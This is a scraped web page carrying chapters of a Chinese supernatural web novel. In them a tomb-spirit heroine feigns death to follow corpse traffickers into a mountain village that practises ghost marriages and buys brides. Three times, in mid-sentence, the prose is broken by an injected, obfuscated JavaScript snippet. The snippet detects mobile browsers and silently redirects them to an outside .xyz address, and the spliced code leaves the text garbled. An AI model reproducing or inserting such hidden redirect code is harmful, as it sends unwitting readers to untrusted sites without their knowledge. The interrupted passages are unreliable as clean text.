也不知道是不是离本层最大的阴气源头太近了,饱腹感上来后,她没忍住打了个饱嗝儿。 “嗝儿~” 又轻又快的一声气音,甚至还见鬼地带着点荡漾的尾音,落在空气里无异于平地惊雷。 那白大褂最先反应过来,脸色顿时煞白:“还有人在这里,肯定看见我们了!” “不能让人跑了,追!” 由此可见,确实不能一边下饭一边看电视,容易消化不良胃胀气,以至于在最不合时宜的时候打出一个没眼色的嗝。 姬容拔腿就要跑,但身体雾化到一半,不知道想到了什么,忽然进程一滞,下半身又变回人类的样子。 不仅如此,连诡异的黑裙衣着,也换回了出门前的T恤长裤。 走廊本就没多长,伪装成医院护工的两个人里个子稍高的那个,三步两步就迈了过来,他手臂上还有一支小臂长的不锈钢管,对着姬容的后颈就射出一针。 细长针管没入肌肤的瞬间,女孩就脚步一顿,随即面朝下,软塌塌地倒在地上,发出一声闷响。 不知道什么液体顺着针孔流入身体,姬容琢磨着他们既然要搬死人走,那这针应该也是同样的作用吧。 于是她果断地掐断心跳和呼吸,头一歪,也死过去了。 高个护工站在原地喘了两声,这才给手臂上的麻醉枪换了只芯,有这功夫白大褂早冲过来了,他拎着后衣领子,将倒在地上的人翻过来,露出一张陌生的年轻面庞。 “不是医院的人,”他沉着声下了定论。 高个护工道:“那就处理掉,打晕了,正好路上找个巷子扔了。” 但很快白大褂又发现手底的温度冰凉得异常,就连挨到的皮肤也有种异常的僵硬,像是滑腻的桦树树皮,不知怎地,他心头忽然突突地跳了起来。 动物在危机来临时肾上腺素会异常分泌,他不安地咽了口口水,手指下移,身为医生的本能让他精准摸到颈侧脉搏处。 不跳了。 白大褂一时惊到失声:“死人了!钱建堂你疯了,你直接把人打死了!” “什么?” 此话一出,连高个护工都惊呆了:“我那就是个麻醉枪啊!” 这下连站在电梯口的矮个护工都闻声赶来:“发生什么了?” “杀人可是要死刑的,这跟倒卖尸体完全是两个量刑程度,”一出事,白大褂就果断跟两个同伙割干净关系,“这是你们干的,我不管,这人你们必须自己清理了。” 高个护工也不想独担这个罪名,当即不由分说地嚷嚷起来:“你丫的放屁,出事了就想跑,我要是被抓了绝对供出你这个从犯!要不是你喊那一嗓子,老子能开枪吗?” 他这一叫嚷,倒是把白大褂镇住了。 地上有点凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493280|185866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,姬容想动一下,但三个人都在盯着自己,搞得她也不好换睡姿了。 半晌,个子最矮的那个护工终于开腔:“不能尸体留在这里,老孟,我们可以把这个麻烦清理了,但你得给我们两万块。” 被称作老孟的白大褂唇角抖动,看起来像是想说什么,但随着矮护工一句“监控屏蔽还剩下八分钟”,他又不得不吞回原本的话,咬着牙瞪了两人一眼:“行,但给了钱,之后无论发生什么,你们都别牵连上我。” 矮护工:“这你放心。” 一桩黑暗的交易达成,于是姬容成功地享受到了先前那些尸体的待遇,时间来不及再拖个铁床了,两个护工扛起她,叠放在原本那张铁床上,随即匆匆拖走,白大褂则朝着另一个相反的方向离开。 身下有些硬,姬容感受了一下有幸被她压着的那具尸体,是个女人,她闭着眼,只听见电梯叮咚的开关门声,随后冷气淡了些,她被推到一处略显平坦的地方,又被人分别抱着头和脚,啪地一下粗鲁扔进一处硬硬的车厢。 身后还有其它咯人的存在,想来应该是前五具被偷运的尸体。 将最后一具女尸搬上去后,两护工锁上后车厢门,绕去前面驾驶室,直到小货车发车前还在低声说话。 “我那真的只是麻醉枪,怎么就死人了呢……现在年轻人身体也太虚了……” “别废话,赶紧走,”矮个教训他,“人都死了你还说这些,不过死了也好,正好一起卖了,活着还不知道怎么处理呢。” “也是。” 车前灯亮起,姬容感觉身下颠簸起来,她缓缓地睁开眼睛,车厢里黑漆漆的,她环顾四周,找了个舒服地方重又躺下。 因为实在好奇这两个人到底想干什么,终究是没忍住装成死人跟上。 姬容又掏出手机,准备跟带自己来的张京秋他们说一声,兴许是事发突然,那几个倒尸贩子也忘了拿走她的手机。 但直到这会儿她终于想起来一件被自己早早忽视了的事情——她还没跟那几个小天师交换联系方式呢。 问题不大,反正李二狗还在他们手上。 从手机通讯录里找出李二狗的联系方式后,姬容发了条简短的消息过去,随即便给手机开了静音,美滋滋地重新睡下了。 一辆洁白的小货车驶出停车场,张京秋刚挂了电话,下意识地被动静吸引去目光,见车上写着“医疗废料”四个字后,又不感兴趣地收回目光。 正好白凌燕缴完体检费用回来,领着一袋从医院便利店买的面包饭团和水,远远地朝他挥了挥手。 “队长!” 她笑眯眯道,然后拉开车门:“还没吃午饭吧,姬小姐,饿了——” 话还没说完,白凌燕就愕然看着空空如也的车后座:“人呢?” “怎么了?” 一股不妙的预感袭上,张京秋快步走回,就看见那个先前还答应好好待在车上等人的邪门家伙,早已消失得影子都不见了。 山海舆图还在他手里,姬容竟是直接丢下舆图跑了。 温良的皮纸质感,在此时也与炽焚炭火无异了。 张京秋深呼一口气,止不住地心往下坠,他一把关上车门,便往医院里走。 “才不到十分钟,”张京秋俊脸绷得像冰块,但还是努力冷静下来思路,“查监控还来得及。” 另一头,李二狗正坐在警局审问室的铁凳上,面对着警察一句接着一句的质问,额头不断冒出虚汗。 玻璃窗外,周步虚抓着他的手机,跟另一个穿潮流兜帽衫的年轻男孩头挤着头,两人正试图从李二狗和“仙人”那满是食物和废话的聊天框里找出什么蛛丝马迹,就见沉寂已久的对话框里,弹出一条新消息。 [仙人]:有内鬼,先公费旅游去了^^ 周步虚:“???” 14. 倒尸客 “什么鬼?” 没等周步虚回话,穿兜帽衫的男生就先皱起了英气的眉,但稍加思索,也就想通了怎么回事:“这个仙人,知道手机其实在我们手上?” 周步虚“嗯”了一声,心想猜测姬容大概是出了什么事故,跟队长他们半路分开了,所以才把消息发到李二狗这里。 就是不知道那句莫名其妙的有内鬼是什么意思。 他回拨了一个电话过去,没接通,只好先给备注仙人的联系人留了条短信,让姬容先把自己的处境交代清楚,别乱动手,等他们跟过去再说。 兜帽衫对他哄小孩似的行径很惊奇:“你说话这么客气干什么?” “这是重要证人……或者说物证,”周步虚老早就跟张京秋他们分路了,哪里知道后续问出来的结果,他有些不耐烦道,“倒是你,卜琪,你们队那另外两个人呢?” 卜琪没在这点上刻意瞒他:“游江南在王姬墓,林老大家里有点事,回燕京去了,只有我有空来陪你留守局子,注意一下对待我的态度行吗?” 林家也是玄学界六大姓之一,家风很难评,可能是因为炼器世家,习惯了在背后打辅助当后勤,每回遇到点事,林家就会找各种理由把林观石喊回去,让别人先顶着,等最危险的风头过了才放他回来。 虽然知道这不是林观石那只出头鸟的本意,但这样搞久了也没人爱跟他玩了,尤其张京秋带的队伍还是每次干活冲锋的主力,更讨厌别人白蹭光环。 周步虚撇撇嘴,没再多问什么,转而捂着脑袋纠结要不要给队长那边打个电话问一下,但一想到姬容那条短信,又怕张京秋那边正在忙。 还没等他纠结出个结果,张京秋那头就先把电话打过来了。 清冽的男声被电音一糊,显得分外低沉:“姬容有给李二狗的手机发东西吗?” 周步虚:“有。” 他把那条简短的短信念了一遍,对面似乎陷入了沉思,没过一会儿,周步虚就听见电话被稍微拿远了些,那头的张京秋似乎还在同别人说话,让谁去查出入的车辆,和最近进出的内部人员。 片刻后,张京秋又将手机举回来了:“抱歉,小周,姬容在医院走丢了,我们这边正忙,你就不用过来了,先跟着林观石那队活动可以吗?” 周步虚:“但……” 但林观石他大爷的根本不在这啊! “委屈你一下,回头资料整理完了再发你,我还有事,先挂了,拜拜。” 几声忙音无情地结束了通话。 “……” 卜琪翘着腿坐在旁边,扯自己的卫衣系带玩,笑得很像一只老鼠:“你这电话打了有三分钟吗?怎么感觉你被人用完就丢了。” “滚吧你,”周步虚骂了一声,心想他俩这是什么被队友齐齐抛弃的孤儿命运。他将李二狗和姬容的聊天记录一股脑的全转到他们的班级小群里,随后就将聊天记录清了个一干二净,拔下手机卡,才把手机交还给警察叔叔。 玄学界自己的事自己擦屁股去。 术业有专攻,有关部门主要负责的是非法盗墓的事情,至于怎么盗出一个活古董,别问,问就是走近O学。 没过多久,白凌燕也把从路上从姬容那问出来的消息发进群了,包括王姬墓另有封印的事情,以及姬容那一听就很玄幻的山神自称。 灵气衰落的末法时代连妖怪都没几只了,居然还有人说自己是神仙,也是活见鬼了。 他们班级小群里也就6个人,全专业每届就一个班,八大校指的是开设有非自然科学专业的八所综合性大学,同时是华国最好的大学,考进这个班就等于挂靠了半个公家背景,考虑到玄门的封闭性,以及其它零零碎碎的原因,总之人挺少的。 虽然也跟燕京大学本身作为top2的大学,很高傲的分数线有点关系——身价在这,就算有特招降分,终归是高攀不起了。 有的人虽然身不在一线,但心在。 [林观石]:这是什么? [卜琪]:老大你还回来了不? [林观石]:别急,我过两天就回来,一定会跟你们一起奋战鱼龙会的 [林观石]:我策划了一起很伟大的逃跑计划,事以密成,具体的操作我就不跟你说了,总之等我好消息 ……这什么豪门落跑大少爷的戏码? 还有一个游江南没说话,也不知道是不是还在王姬墓里,山里信号不好,大家原谅了她的失踪。 早在碰头的时候,周步虚就已经把自己知道的事情简单交代过一遍了,同为精英,林观石那队的思路跟他们差不多,同样打算从盗墓贼这条线入手调查。 卜家也在古董文玩行有所涉猎,奈何少了鬼市这条线索,自从知道比张京秋那支队伍慢了一步后,林观石就一直不大高兴。 两人出了警察局,深深地吸了一口外面的自然空气。顶着日头,卜琪收起手机,摊开手朝周步虚道:“帮你问了下老大什么时候回来,还人情了哈。看在鱼龙会的份上老大不会太刁难你,但你待我们队,他肯定会心里不舒服,我无所谓,你剩下的自己看着办。” 周步虚挤出一个勉强的笑:“那我只能转身向山里走去。” “……” * 山林蓊郁,几只灰鸟掠过郁郁青青的群岭,夯黄的土路蜿蜒在山腰上。 标注着医疗废料的中小型货车在中途换了辆车,这次两个倒尸客总算是想起来检查姬容身上的电子设备了,姬容早料到有这一出,不想被这两人碰到,提前把手机往身边不远处抛丢开,假装是路中颠簸,手机自己从口袋里滑出的假象。 周步虚发的消息她看见了,不过没搭理,也算是对他们的小小考验,连个人都找不到,干脆别干这行了,回老家找个班上上算了。 新换的车没有内置的冷气系统,没过一会儿车后厢就冒出了点异样的气味,姬容将尸体上的白布挨个揭开,均是女尸,年龄从二十几到五十多岁不等,青白的面容整洁平静,没什么明显的伤口,看起来像是病逝的。 尸体的脚脖子上还挂了生卒年信息,六具尸体,什么命数的都有,说明不是用来祭祀仪式的贡品,思来想去,答案只可能是最离谱的那个。 “这年头倒卖死人都要看脸了?”姬容震惊不已。 这是何等性压抑的时代?! 愈朝深山驶去,周遭的温度愈发地降下,终于,“滋——”的一声,黄皮货车停在一处村落前。说是村落也不准确,这里只有百来户高矮不平的房子聚居在一块儿,村门口还斜插了一只石碑,上面用红艳艳的涂料写了“焦孟村”仨字。 早有一拨衣着朴素的村民等在村门口,大多都是三四十岁的男人,神情阴沉,肩膀上搭着白毛巾,干瘪的脸上冒着油光,见货车来了,黝黑的眼珠子也跟着轮子一起转,像是一尊尊石头塑的雕像,浑身上下只有眼睛是活的。 他们站的位置也很奇怪,中间空出几大块,驶近了才发现那是几口落在地上的红口大棺,拉棺的索绳就搭在这些村民的肩上。焦孟村被山沟沟围着,附近都是树林,倒是不缺上等的木材。 地图上都搜不到的地方,人要是意外困在这里,那才是真叫一个上天无地下地无门。钱建堂嘴里叼着烟,眯起眼睛将货车停在村口外边,不管多少次来这里,他心里都觉着瘆人得慌。 “别搓胳膊了,你上辈子苍蝇呢,”王猛,也就是倒尸客里个头矮些的那个,他年纪比钱建堂大些,也是两人里真正做决策的那个,他一巴掌搡在钱建堂手臂上,“快下车。” 货车的后车厢打开,那群村民才像是活过来了,有人拖棺材,有人搬尸体,当头的村长儿子拿着烟,站在旁边给王猛和钱建堂点上,越是落后的地方越是重男轻女,焦孟村里女人少,多得是打光棍的男人,有的是到死都没娶上媳妇儿,也有的是还没等娶上媳妇儿就死了,在王猛眼里反正没差。 他和钱建堂是专门倒卖尸体到这些地方卖阴亲的,其实拐卖活人赚得更多,但人贩子这种丧天良的营生也不是人人都干得来,内行喊活人生意叫天门,死人生意叫地门,两者赚的钱也是天壤之别。 二十几年前的时候有个只做天门生意的人贩子蹭过他的车,那人就从火车站拐了一个女人来,听说是大学生,那个年头的大学生多稀罕,一个人就卖了他一车死人的价钱,回去后王猛做噩梦都是那个女孩噙满怨恨的眼睛,从此就发誓再也不跟这种玩意儿打交道了。 钱这种东西,向来都是有命赚没命花的。 天色不知从何起变得阴蒙蒙的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505338|185866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是扯了层潮透的烂棉花捂在上面,低低地压下来,压得人都有几分喘不过来气的莫名发抖。 王猛抛掉脑子里乱七八糟的杂想,也不知道这烟在村长家放多久了,吸着都没味儿。他有些兴致缺缺地把还剩一小段的烟头扔到地上,几脚踩灭,那边搬尸的人也差不多搬完了,王猛转过头,忽然瞪直了眼,瞥见人群里两个娇小些的身影,斥道:“怎么还有女人在里面?这种事情哪能让女人经手!” 村长儿子被他这一嗓子吼得脸上有几分挂不住:“那是我亲嫂子和胡家媳妇儿,嫂子是村里人家的,能信,又会识字,这不是让她来帮忙看看吗?村里的师公都点头了。” “至于胡家媳妇儿,上个月才买的,值这个钱呢,”他吸了口烟,比了个数字,水肿的脸上露出点轻蔑的笑,“不老实,老胡疼她媳妇儿,舍不得训,害得那女人不知道天高地厚,前几天跑出去被山里的狼咬伤了腿,老胡就狠下心今天把她带来了,才好让她认命,呸,都说是嫁鸡随鸡嫁狗随狗,她嫁来了胡家,就是死了也有阴亲帮捆着,地下的阎王老爷们都给盯着呢。” 王猛皱了皱眉,就远远地看了一眼。那俩女人倒是好认,一个腿上用毛巾绑着细木条,面无表情地杵在那儿,倒是看不出瘸不瘸腿,另一个年轻些,脸色白净,穿着布衬衫,圆圆的脸让王猛看得心里漏跳一拍,一张早应该被记忆淡忘的脸又浮上来,他背过脸,心里突突地跳着,像是某种极为不祥的预感。 狼是重视领地的动物,况且现在天正暖和,山里不缺猎物,怎么可能跑到有人住的村子附近觅食?王猛心知肚明胡家媳妇儿的腿是怎么坏的,他不好点破,只能含糊道:“既然买回来了,就跟人家好好过日子,别整这些有的没的。” “就是脸给多了才这样。” “你那嫂子叫什么?” “孟玉涵,这字我还不会写呢,听着倒是好听,她妈就有文化,要我说,我将来也得娶个大学生,这读过书的就是不一样……” 后面村长儿子又说了什么,王猛已经听不清了,他脚底一下一下地踩着烟头,直到村长儿子猛拍了下他肩膀,才回过神。 装钱的袋子比过往薄些,毕竟这次带来的尸体也少了几具,按理说年轻女人的尸体最值钱,加上医院被钱建堂意外打死的那个,这回足足带了三具,但王猛这会儿也没心思跟他们掰扯价钱了,天阴沉沉得像是要下雨,他不想在这鬼地方再多待,喊上钱建堂就要走。 谁料他才抬起脚,村长儿子就抓住了他的手腕,“诶”了一声:“走这么急干什么?” 王猛皱了下眉,就要甩开:“我着急回去吃饭呢。” ……没甩动。 跟听不懂王猛说的话似的,抓住他的手像是铁焊上去一般死紧,村长儿子眼睛笑得像月牙,嘴巴也咧得像月牙,三只白惨惨的月牙叠套在那张发腮的脸上。直到这会儿,王猛才发现他的脸色居然也隐隐发青,像只撑到极致的绿气球,细细的声音就从他那张仿佛永远也学不会闭上的碎嘴里冒出。 “走这么急干什么?跑出去叫山里的狼咬了就不好啦,地下的阎王老爷们都给盯着呢,”他咧着嘴,笑嘻嘻地重复先前说的话,“留下来吃个便饭呗。” “走这么急干什么?” “走这么急干什么?” “走这么急干什么呀???” “!!!” 树林里扑簌簌惊飞出一群鸟,黑得发亮的羽毛被风刮来,王猛拽不动手,要说的话也卡在喉咙里,人恐惧到极点的反而发不出声音,他眼角余光颤巍巍地找寻钱建堂的身影,想找他来救自己,结果一转头就看见所有的村民,全都僵硬地转过头来,挂着月牙似的笑,黑漆漆的眼睛盯着自己。 钱建堂也在其中,嘴咧得像月牙,但是是被人撕开的一张嘴,下巴上的血还没擦干净,也冲着他笑。 “啊啊啊啊!” 王猛腿一软,顿时跌坐在地上,撕心裂肺的尖叫终于从喉咙眼里逃出来了:“啊啊……鬼、鬼啊啊啊——!” 天上落起沙沙的连绵细雨。 红口大棺没盖严实,雨水从棺材盖缝里溜进来。 姬容仰面躺在这漏水的黑盒里,听着外面的动乱声,心情淡淡地怀念起了自己舒适阔气的原生棺材。 15. 阴亲书 孟玉涵扶着几大副棺材,费劲地走进村里祠堂旁的堂屋,留下一串串泥脚印。 一只瘦削苍白的手抓着毛巾,递到她面前,孟玉涵咽了口唾沫,有些受宠若惊地接过:“张姐……” 张翠没有说话,点漆似的浓黑眼睛扫了她一眼,面无表情,外面还在下小雨,她一瘸一拐的身影很快就消失在雨幕里。 她走了,孟玉涵反而松了口气。 自从张翠重新下地后,她就一直有些怵对方。胡家住在村长家对门,村里有从外地买媳妇的习惯,这事儿孟玉涵一直都知道,她妈妈就是被买来的,兴许是出于这点微妙的同情,那天晚上孟玉涵出去倒洗脚水的时候,正碰上从后门偷跑出来的张翠,犹豫片刻,她还是假装什么都没看见,倒完水就抱着盆回去了。 孟玉涵是半夜里被人惊醒的,胡家老大喝酒喝到夜里回来,才发现刚买了不到一个月的媳妇儿居然不在家,气得酒当场就醒了,邻里邻居听说了这事,全都把灯点起来了,胡大喊了十几个青壮汉子,开了狗链,要去山里找人,孟玉涵的新婚丈夫也在这里。 成片的狗叫声吵得她心里发慌,她也不知道自己为什么就觉得这么不安,睡睡醒醒地捱了大半夜,将近天亮的时候,村里的男人终于带着狼狗和半边身子都是血的张翠回来了。 还好大暴雨把山冲滑坡了,胡大事后请左右邻居吃酒犒劳的时候在桌上说,他一边骂张翠不识好歹,一边庆幸滑坡把人堵在了山洞里,儿子还没生,二十几万块差点打了水漂。 村民们大大咧咧议论这事的时候,张翠还坐在旁边,一张没有半点血色的脸白得发青,坐在门堂下的长板凳上,黑梭梭的眼睛盯着每一个来吃席的人。 孟玉涵听得心惊胆战,没忍住找借口提前回家了。 除了她之外,整个村里就没有一个人意识到这个瘦弱的女人,在被狗咬断了腿又没有经过任何治疗的情况下,第二天就能下地走动,是件多么诡异反常的事情。 但这段时间里发生的事情,何止张翠这一桩。 正当她胡思乱想的功夫,纸糊的窗户又被人拍响了,五个湿漉漉的手指印在窗纸上,哒哒,声音沉闷无比。 孟玉涵拉开窗,就看见去而复返的张翠挎着一个竹篮,篮子里放着一只磨亮的小剪刀、炭笔、几张没剪开的红纸和一捆细线,张翠将竹篮举过头顶,一板一眼道:“师公让你快些剪完,再去祠堂正屋吃饭。” “我今晚就不去了,”孟玉涵努力挤出一个笑,“焦英今晚守祠堂,我要给他送饭呢。” 焦英就是村长的大儿子,也是孟玉涵男人的名字,刚买来的阴亲要在祠堂停几天,等鬼媒婆走完流程,才能结对下葬,停灵的那几天就是由村民轮流看守,今天正好轮到焦大。 除了最缺吃食的那几年,村里人才会聚在一起吃大锅饭,现在谁家差那口吃的,也不知道师公为什么要下这个命令。孟玉涵跟着吃过几次,不知道饭是谁煮的,米粒吃在嘴里干瘪得厉害,菜也像没熟,含在嘴里咬不动嚼不开,像是在吃一坨纸,孟玉涵吃完回去就吐了,从此就一直逃避着这类活动。 师公也不准人在吃饭的时候说话,说什么食不言寝不语,长木桌排排摆开,男女老少坐在桌旁,动作整齐地捧着碗进食、咀嚼,一张张脸像复制粘贴出来的冷漠,不像真人,像是摆在祠堂供桌上的一只只活牌位。 张翠目不转睛地盯着她,直到孟玉涵脸上的笑都快维持不下去了,她才冷冰冰地说了一句:“知道了。” 张翠又道:“我就守在外面,你有事喊我。” 孟玉涵“嗳”了一声,小心翼翼地把门窗都关紧实了,这才扶着墙腿软地找凳子坐下,缓了半天,她这才提上篮子,找就近的棺材开始做阴亲书。 她用剪子剪下女尸的一缕黑发,又从小拇指上剪了一小块早已僵硬的肉块,用写有生辰八字的红纸小心裁起,最后把这些用细线捆起,一份阴亲书就做好了,村里的师公说象征着身体发肤受之父母。 男方那边由家里人自己准备好,到时候男女两方的阴亲书要跟着一起下葬,村里识字的人不多,这份重责自然就落在了孟玉涵的肩上。 过往没这么麻烦的,剪了头发包起,写上八字就行了,现在居然还有剪下带血的肉,越活越邪门了,孟玉涵心里不安,又不知道这些事该跟谁说。 有的尸体好剪,也有的死了不知道几多日子,早就硬透了,孟玉涵没得挑,包完两份,她把阴亲书放在棺材里头,轮到第三具的时候,棺材板一掀,她没忍住轻咦了一声。 红棺打开,就径直露出一张漂亮至极的脸,女孩阖着眼睛,乌黑长发披散开来,愈发衬托得面容宁静,像只是睡着了一般。 她仰面躺在棺材里,双手拢在小腹前。 还这么年轻,正是花一样的年纪,孟玉涵没忍住,可惜地摸了摸女尸的脸,谁料收手的时候,直接对上一双睁大的黑眼睛。 姬容很严肃地问道:“你为什么摸我的脸?” “!!!” 孟玉涵被吓得倒退好几步,椅子翻倒在地上,把她也绊得跌了个跟头。 噪声惊动了守在外面的张翠,她梆梆地拍窗户,没得到回应,漠然的脸上眉头一皱,径直推开了房门。 堂屋里一切如常,有一只棺材大开着,孟玉涵坐在地上,捂着手,结结巴巴道:“没、没事,我就是不小心把手划开了。” 空气里确实有股新鲜的血味。 张翠皱起的眉头慢慢松开:“小心点。” 虽然嘴上这么说,但她看着孟玉涵自己把手包扎好,又忍痛自己扶起椅子,半点搭手的意思也没有。 孟玉涵坐回棺材旁,见张翠那张惨白的脸还飘在门旁,不由得生出几分局促不安:“张姐,写阴亲书的时候,屋里不能留人看着,会冲撞新娘的魂。” 定定地盯了她好一会儿,张翠这才敷衍“嗯”了一声,步履无声地走去外面。 门窗再度关上。 孟玉涵松了口气,但也不敢大口呼吸,生怕沉重的喘气声再度让外面的张翠生疑。 她紧紧地捂着胸口,张翠才出去,姬容就又坐直了,靠坐在棺材边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513092|185866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,黑雾不知何时起又将堂屋包围起来。 看了眼窗外影影绰绰的瘦长人影,姬容托着腮,饶有兴趣地问道:“你很怕它?” 孟玉涵猛然睁大眼睛。 说话声这么大,生怕外面的人听不见吗? 她伸手就要来捂嘴,姬容却一把拍开她的手:“别怕,她现在察觉不到我们里面的动静。” “你是谁?”听到这样的保证,孟玉涵不仅没有放心,反而更加警惕,“你来我们村子想做什么?” “你都不相信我,刚才还帮我打掩护。” 人家是穷山恶水出刁民,这劳什子焦孟村,满地鬼气,居然还有这么单纯的人,姬容一时也为之叹为观止。她不想回答孟玉涵的问题,便转开话题:“你跟外面那鬼东西什么关系?” 孟玉涵却听得脸色发白,失声道:“你说张姐是鬼东西?” “不然是什么,活死人,还是尸傀?”姬容用手指卷着发梢,歪着头看满脸惊慌失措的孟玉涵,“人都死了好久了,壳子里的魂也不是一个魂了,里里外外都不是你的张姐了,你想喊她喊什么呢?” “不仅如此呢,你们这一个村子刻有意思了,遍地——遍地都是活死人。” 她伸手,学着孟玉涵先前偷摸自己的脸那样,捏了捏孟玉涵微微发抖的脸,笑吟吟道:“你是我见着的第三个活人,不过现在应该是唯一一个了,先前那俩司机,估计这会儿已经也赶投胎去了。” 随着她的话音落下,屋里的温度仿佛也平白掉了好几度,孟玉涵抱臂怔怔看她,不知道该说什么,心中既有乍闻噩耗的惊悚,又带着几分早有预料的落地心死。 姬容奇道:“你看起来怎么没有很惊讶,早就猜到了?” “我、我……” 心绪一时半会儿囫囵说不清,孟玉涵咬了下舌尖,定下心神,问道:“那我们村里的这些人还有救了吗?” 姬容对她宽容地笑了笑,像极了在看一个什么都不懂的稚子,顿时孟玉涵的心就沉了下去,她低头抠了抠掌心,这才道:“虽然我不知道你的来历,也不知道你的本事和来这里的目的,但你既然跟我说这些,是希望从我这里得到帮助吧。说吧,你想让我干什么?” 说实话,一介灵窍都没开的凡人,也帮不上什么忙。 姬容挑了下眉,视线却向窗边看去,仿佛透着一张薄薄的窗纸,居高临下地俯视着尸僚横行的山中野村。 寻常眼睛看不到的污浊黑气在土地上翻滚,竟是比几个山头之外的岐山古墓更浓郁,里面还夹杂着丝缕熟悉的味道。 她轻轻地嗅了一口,然后就被这纯正的阴气深深陶醉了,夹带着怨气、恨意、枉死和漂桓不去的厉鬼,甚至还有跟她同出一源的凶煞之力。 如此美食,过了这个村,可就真没这个店。 原本姬容只准备来随便看看,什么都不管的,但她现在改变主意了。 “好孩子,我办事,你尽管放心就好,”她舔了舔嘴唇,手按在孟玉涵肩上,微笑道,“先跟我讲讲,你们村最近都发生了哪些变化吧。” 16. 尸傀 孟玉涵唇角颤抖着,半晌,还是将事情和盘托出。 她把张翠的事情,和最近发现的一些其它异样事情,凡是自己觉得不适的地方,全给姬容讲了一遍。 因为慌张,孟玉涵的话说得有些颠三倒四,姬容耐心地听了一会儿,忽然问道:“你们村一直都有买卖人口?” “是,是的……”孟玉涵回避着她的目光,“我听家里人说过,我的母亲就是买来的。” 或许不需要别人的提醒也能发现,一个读过书的女人落在焦孟村这种地方,就像凤凰落在山沟里一样显眼。 姬容却没有注意到她的敏感心思,而是摸摸下巴,肯定道:“所以问题肯定是从村外边来的。” 不然要遭报应早就遭了,还能等到现在? 她捋了捋孟玉涵那稀碎的描述,最后不出意料地发现变故的节点果然卡在了两周里,张翠出逃的那个晚上就是焦孟村异变的开始。 夜晚,山林,生人的血,会被吸引来的不只是野兽,再加上盘桓在村里散之不去的阴冷怨气,一切都如同水泼进油锅里,炸得顺理成章。 而且最该死巧合的是,那个时间点离王姬墓被凿开也不远。 ……如果真的跟墓里那些鬼东西有关的话,那焦孟村的事,她还真非管不可了。 姬容顿时郁闷地搓了搓脸,心中默默盘算到底是哪个刁民在给自己增加工作量,她做鬼也不会放过对方的。 就不能老实点待在墓里,还嫌事情不够乱吗? 想这话的时候,她完全忘了到底是谁在墓开的瞬间就第一个迫不及待地出去了。 “等你开完口子后,这些尸体会被送去哪里?”姬容问道。 “祠堂后面,那里有个占地很大的天井,按照我们村子的习惯,新送来的尸体至少要在我们村停灵七天才能入土结阴亲,”孟玉涵这才恍然惊觉自己居然跟姬容说了这么长时间的话,脸上不由得露出害怕的神情,“完了,我们这么久都没有出去,会不会引起张姐的怀疑。” 姬容安慰她:“别怕,就算你老老实实的,在它们眼中也跟储备粮没什么区别,还不如大大方方做自己呢。” 学会做一只特立独行的储备粮。 孟玉涵:“……” 她欲言又止。 姬容打了个响指,一股气流顿时集中孟玉涵的手指,酥麻涌上,她没忍住手指抽动,下一刻,磨得光亮锋利的小剪刀就落入了姬容手里。 夺舍对活人的神智损伤太大,哪怕只是暂时的,一个把控不好,也很容易把人弄成傻子。因此姬容拿了张桌上的红纸,又剪下自己的一缕黑发,用红纸包起,交给孟玉涵。 黑发上似乎还带着股幽馥的香气,摸在手里,像是上好的绸缎。 “从现在起,你想活命的话就不要跟外面那群不死不活的东西接触了,在棺材里躲好,”姬容道,“遇到问题就把我的头发烧了,基本可以保你平安,等我找到机会,就送你出村。” 和这满屋子的尸体待一起吗? 孟玉涵咽了口唾沫,不是怀疑姬容的能力,而是怀疑自己的胆量:“但这里都是死人……” 姬容幽幽道:“不会动的死人,和会动的死人,你觉得哪个更吓人?” 那还是会动的更吓人一点。 孟玉涵清醒了,乖巧地爬进红口大棺里。棺材摆在桌子,本身也挺大,她还是踩着凳子才爬进去了,也不知道姬容是怎么手往壁上一撑,就轻巧潇洒地跳了出来。 不愧是高人, 短短的一会儿,孟玉涵对姬容的印象就从诈尸的尸体、到不知道是人是鬼的邪物,再变换到现在坚定的高人滤镜。 她躺在棺材里,将姬容交给自己的断发紧紧抱在胸前,给自己拉上板板之前,孟玉涵小声地说了句:“……你小心点。” “这话也送给你,”姬容诧异地看她一眼,随即便笑开了,“好好装死。” 这还是她第一次从别人嘴里,听到让自己小心点呢,确实很稀奇。 姬容伸手,将红棺彻底盖牢。 * 堂屋自里被人推开。 张翠木木地转了转眼珠子,看见大大方方走出来的“孟玉涵”,问道:“今天怎么花了这么长时间?” “手疼。” 孟玉涵、或者说是姬容假扮的孟玉涵,举起手,将伤口证明给她看。 伤口是真的,流血也是真的,只有人是假的。 